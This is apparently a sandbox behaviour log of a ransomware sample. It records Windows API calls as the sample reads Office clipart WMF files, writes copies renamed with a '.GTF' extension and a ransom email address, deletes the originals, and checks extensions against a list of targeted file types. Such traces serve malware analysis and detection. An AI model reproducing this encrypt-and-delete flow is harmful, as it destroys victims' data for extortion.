	[0168.784] lstrlenW (lpString="J0107188.WMF") returned 12
	[0168.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.839] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=4536) returned 1
	[0168.839] CloseHandle (hObject=0x530) returned 1
	[0168.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220
	[0168.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.840] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.840] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0168.841] GetLastError () returned 0x0
	[0168.841] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x11b8, lpOverlapped=0x0) returned 1
	[0168.843] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x11c0, lpOverlapped=0x0) returned 1
	[0168.844] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.844] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.844] SetEndOfFile (hFile=0x568) returned 1
	[0168.844] CloseHandle (hObject=0x568) returned 1
	[0168.844] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.844] SetEndOfFile (hFile=0x530) returned 1
	[0168.847] CloseHandle (hObject=0x530) returned 1
	[0168.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1
	[0168.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.848] lstrlenW (lpString=".doc") returned 4
	[0168.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.848] lstrlenW (lpString=".docx") returned 5
	[0168.848] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.848] lstrlenW (lpString=".pdf") returned 4
	[0168.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.848] lstrlenW (lpString=".xls") returned 4
	[0168.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.848] lstrlenW (lpString=".xlsx") returned 5
	[0168.848] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.848] lstrlenW (lpString=".ppt") returned 4
	[0168.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.848] lstrlenW (lpString=".zip") returned 4
	[0168.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.848] lstrlenW (lpString=".rar") returned 4
	[0168.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.848] lstrlenW (lpString=".bz2") returned 4
	[0168.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.848] lstrlenW (lpString=".7z") returned 3
	[0168.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.848] lstrlenW (lpString=".dbf") returned 4
	[0168.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.848] lstrlenW (lpString=".1cd") returned 4
	[0168.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.848] lstrlenW (lpString=".jpg") returned 4
	[0168.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.849] lstrlenW (lpString=".doc") returned 4
	[0168.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString=".docx") returned 5
	[0168.849] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.849] lstrlenW (lpString=".pdf") returned 4
	[0168.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString=".xls") returned 4
	[0168.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.849] lstrlenW (lpString=".xlsx") returned 5
	[0168.849] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.849] lstrlenW (lpString=".ppt") returned 4
	[0168.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.849] lstrlenW (lpString=".zip") returned 4
	[0168.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.849] lstrlenW (lpString=".rar") returned 4
	[0168.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString=".bz2") returned 4
	[0168.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString=".7z") returned 3
	[0168.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.849] lstrlenW (lpString=".dbf") returned 4
	[0168.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.849] lstrlenW (lpString=".1cd") returned 4
	[0168.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0168.849] lstrlenW (lpString=".jpg") returned 4
	[0168.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.850] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.850] lstrlenW (lpString="J0107288.WMF") returned 12
	[0168.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.850] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=13436) returned 1
	[0168.850] CloseHandle (hObject=0x530) returned 1
	[0168.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220
	[0168.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.851] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.851] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0168.852] GetLastError () returned 0x0
	[0168.852] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x347c, lpOverlapped=0x0) returned 1
	[0168.854] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3480, lpOverlapped=0x0) returned 1
	[0168.855] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.855] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.855] SetEndOfFile (hFile=0x568) returned 1
	[0168.855] CloseHandle (hObject=0x568) returned 1
	[0168.856] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.856] SetEndOfFile (hFile=0x530) returned 1
	[0168.859] CloseHandle (hObject=0x530) returned 1
	[0168.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1
	[0168.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.860] lstrlenW (lpString=".doc") returned 4
	[0168.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.860] lstrlenW (lpString=".docx") returned 5
	[0168.860] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.860] lstrlenW (lpString=".pdf") returned 4
	[0168.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.860] lstrlenW (lpString=".xls") returned 4
	[0168.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.860] lstrlenW (lpString=".xlsx") returned 5
	[0168.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.860] lstrlenW (lpString=".ppt") returned 4
	[0168.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.860] lstrlenW (lpString=".zip") returned 4
	[0168.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.860] lstrlenW (lpString=".rar") returned 4
	[0168.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.860] lstrlenW (lpString=".bz2") returned 4
	[0168.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.860] lstrlenW (lpString=".7z") returned 3
	[0168.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.860] lstrlenW (lpString=".dbf") returned 4
	[0168.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.861] lstrlenW (lpString=".1cd") returned 4
	[0168.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.861] lstrlenW (lpString=".jpg") returned 4
	[0168.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.861] lstrlenW (lpString=".doc") returned 4
	[0168.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString=".docx") returned 5
	[0168.861] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.861] lstrlenW (lpString=".pdf") returned 4
	[0168.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString=".xls") returned 4
	[0168.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.861] lstrlenW (lpString=".xlsx") returned 5
	[0168.861] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.861] lstrlenW (lpString=".ppt") returned 4
	[0168.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.861] lstrlenW (lpString=".zip") returned 4
	[0168.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.861] lstrlenW (lpString=".rar") returned 4
	[0168.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString=".bz2") returned 4
	[0168.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString=".7z") returned 3
	[0168.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.861] lstrlenW (lpString=".dbf") returned 4
	[0168.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.861] lstrlenW (lpString=".1cd") returned 4
	[0168.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0168.862] lstrlenW (lpString=".jpg") returned 4
	[0168.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.862] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.862] lstrlenW (lpString="J0107290.WMF") returned 12
	[0168.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.863] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=12308) returned 1
	[0168.863] CloseHandle (hObject=0x530) returned 1
	[0168.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220
	[0168.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.864] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.864] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0168.864] GetLastError () returned 0x0
	[0168.864] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3014, lpOverlapped=0x0) returned 1
	[0168.866] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3020, lpOverlapped=0x0) returned 1
	[0168.868] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.868] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.868] SetEndOfFile (hFile=0x568) returned 1
	[0168.868] CloseHandle (hObject=0x568) returned 1
	[0168.868] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.868] SetEndOfFile (hFile=0x530) returned 1
	[0168.871] CloseHandle (hObject=0x530) returned 1
	[0168.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1
	[0168.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.872] lstrlenW (lpString=".doc") returned 4
	[0168.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.872] lstrlenW (lpString=".docx") returned 5
	[0168.872] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.872] lstrlenW (lpString=".pdf") returned 4
	[0168.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.872] lstrlenW (lpString=".xls") returned 4
	[0168.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.872] lstrlenW (lpString=".xlsx") returned 5
	[0168.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.872] lstrlenW (lpString=".ppt") returned 4
	[0168.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.872] lstrlenW (lpString=".zip") returned 4
	[0168.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.872] lstrlenW (lpString=".rar") returned 4
	[0168.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.872] lstrlenW (lpString=".bz2") returned 4
	[0168.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.872] lstrlenW (lpString=".7z") returned 3
	[0168.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.873] lstrlenW (lpString=".dbf") returned 4
	[0168.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.873] lstrlenW (lpString=".1cd") returned 4
	[0168.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.873] lstrlenW (lpString=".jpg") returned 4
	[0168.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.873] lstrlenW (lpString=".doc") returned 4
	[0168.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString=".docx") returned 5
	[0168.873] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.873] lstrlenW (lpString=".pdf") returned 4
	[0168.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString=".xls") returned 4
	[0168.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.873] lstrlenW (lpString=".xlsx") returned 5
	[0168.873] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.873] lstrlenW (lpString=".ppt") returned 4
	[0168.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.873] lstrlenW (lpString=".zip") returned 4
	[0168.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.873] lstrlenW (lpString=".rar") returned 4
	[0168.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString=".bz2") returned 4
	[0168.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString=".7z") returned 3
	[0168.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.873] lstrlenW (lpString=".dbf") returned 4
	[0168.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.874] lstrlenW (lpString=".1cd") returned 4
	[0168.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0168.874] lstrlenW (lpString=".jpg") returned 4
	[0168.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.874] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
